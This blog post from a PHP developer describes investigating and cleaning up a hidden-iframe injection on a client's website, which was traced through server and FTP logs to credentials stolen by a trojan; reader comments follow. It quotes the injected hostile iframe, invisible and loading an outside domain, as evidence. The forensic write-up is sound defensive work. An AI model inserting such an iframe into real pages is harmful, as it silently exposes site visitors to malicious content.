Tracking And Stopping Web Site IFRAME Code Injection

Yesterday, I wrote about getting paid to hack. Part of what I talked about was computer forensics. Earlier in the day, I was presented with an opportunity to practice my own IT security skills. Below, I’ll explain what happened to my client, how an employee of mine and I found the source of the problem and what we did to fix it.

Log file

Discovering a problem
A client called, complaining that the content management system we built for them was not working properly, so one of the developers took a look at the code and immediately alerted me to a problem. When he looked at the code, he discovered two extra lines at the end. The lines were similar to the following and existed at the bottom of every index.php file in the site:

<iframe src=”http: //lotmachinesguide .cn/ in.cgi?income56″ width=1 height=1 style=”visibility: hidden”></iframe>

My first thought was that someone hacked in and changed the files. What about the rest of the server? This is where you get that sick feeling in your stomach and hope it’s not as bad as it could be. I emailed my wife and told her I’d be unavailable via phone/email/etc. for the next few hours.

Finding the cause
Tracking down the source of a hack or code injection like this can often be tricky. How tricky it is depends on your individual skill set, past experiences, and the complexity of the problem, itself. This one turned out to be easy, partially because I’ve done this before and know many of the places to look, but mostly because it wasn’t really a hack. Not locally, anyway. One of my developers and I sat down in my office and I started looking at the hacked files. Using the following command (from the client’s web root), I displayed a list of all files that were modified that day:

ls -laR |grep "Apr 24"

What it returned was a list of the index files I was already aware of. Good. I then ran the same command on other sites to be sure this was isolated and it was. Next, I checked “last” to see who’s been logging into my server:

last |grep [client username redacted] |grep Apr

Last shows all the recent logins from SSH, FTP, etc. Immediately, I noted a large number of FTP connections for the client site I was investigating, which looked suspicious. I headed to my FTP log files and grepped my “secure” log files for “Incorrect”:

grep Incorrect /var/log/secure*

Your system may use something other than “Incorrect” to indicate a bad login and your “secure” log file location may vary. This grep showed only a few bad attempts, which is fairly normal and not what I expected to see if the account had been brute-forced. I moved on to the FTP log file to see what transfers were made. You’ll need to find your own FTP log location if you don’t know where it is already.

grep "Apr 24" xferlog*

I did this mostly to confirm that I was on the right track, but it uncovered even more oddness. Here’s a bit of what I saw:

Fri Apr 24 11:17:32 2009 0 [ip redacted] 4289 /var/www/vhosts/[domain redacted]/httpdocs/index.php a _ o r [username redacted] ftp 0 * c
Fri Apr 24 11:17:38 2009 2 [ip redacted] 4402 /var/www/vhosts/[domain redacted]/httpdocs/index.php a _ i r [username redacted] ftp 0 * c
Fri Apr 24 11:17:51 2009 0 [ip redacted] 2836 /var/www/vhosts/[domain redacted]/httpdocs/admin/index.php a _ o r [username redacted] ftp 0 * c
Fri Apr 24 11:17:56 2009 0 [ip redacted] 2949 /var/www/vhosts/[domain redacted]/httpdocs/admin/index.php a _ i r [username redacted] ftp 0 * c

For each index file that had the iframe HTML added to the end, there was a download and then an upload five or six seconds later. The speed indicated that it was a script and the fact that it was all done via FTP indicated that if there was a compromised computer somewhere, it was remote and my server was safe.

Cleaning it all up
In this case, cleanup was easy. First, I backed up all the log files for further review just in case I need them. Then I changed the client’s FTP password. Finally, I pulled the latest (clean) versions of the affected index.php files from our subversion repository and uploaded them back to the site.

Preventing future occurrences
I wanted to find out exactly how someone who should clearly not have the client’s FTP credentials wound up with them. My theory was that the client’s computer had been compromised. I headed to and used their handy IP whois tool to see who the one prominent IP address from the log files belonged to. It turned out to be a COX IP registered to Atlanta, GA. We called the client and asked them if they had anyone there. They did not. The FTP logs also showed uploads, recently, of files documents that related to the client and looked to be legitimate, so we asked who uploaded them and conferenced him in. A couple questions quickly revealed that not only was the IP their local office computers, but the computers there had been “acting funny, randomly rebooting, etc.” for the last day or so. We sent their computer guy out to take care of the problem, which turned out to be a trojan.

First of all, this was a very easy problem to diagnose and fix. I’ve been on the bad end of some serious hacks and this was by no means a bad one. For the client, however, the day proved much more frustrating. The expense incurred from having the IT guy come out and the thought that it could have been much worse (like their site replaced with something untoward), should be a lesson to be very careful about what you download, what you click, and the sites you visit. The best policy is to only open or run things from sites and people you trust, and even then, use caution.

Author: Joe Colburn

Joe Colburn is a software engineer specializing in PHP and a technology enthusiast. Always eager to dive into new and exciting things, Joe writes about anything technology related news and products that he thinks you will also be excited about. Find Joe Colburn on Google+ or by any of the links below.

9 thoughts on “Tracking And Stopping Web Site IFRAME Code Injection”

  1. Mark: Thanks. It sucks when it’s not what I do for a living and I have to take time out of an already busy day to do it, but it’s still rewarding to track down the problem, right to the exact remote computer and get it resolved quickly for the client.

  2. This same hack affect around 10 sites of ours as we will have 4 websites on the one server at a time. This hack was a real pain to deal with and in the end you just have to rely on a newly generated 12+ character password to try and top it from happening again.

  3. We’ve had the same problem over here, interestingly the only sites that were compromised were on servers where the FTP details were stored in FileZilla.

    We’re still clearing up the aftermath of the attacks, WordPress blogs seems especially vulnerable (no surprise with it being opensource code I suppose) but we’ve also had problems with injections into controllers of the CodeIgniter framework too.

    This is some particularly nasty stuff, one machine in the office had to be rebuilt after one of the injections opened up a PDF and took down Windows. Nice!

  4. Daniel: My pleasure

    Chris: Good passwords are always important, but in my case, I think it was the client’s computer getting a trojan on it that compromised their FTP password. In any case, good advice.

    Planetdust: Ouch. I had one like that where I had to just wipe and rebuild my machine.

  5. In all of my troubleshooting experiences I always assume the worst and end up spending too much time looking for the hardest thing(s) for a solution. Each time I do it and am relieved to find out it wasn’t as bad as I thought. I’m glad you were able to remedy the situation without taking my usual course of action. Congrats.

    Clint@voipbroadbandphoneservice’s last blog post..Getting Started With VoIP

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.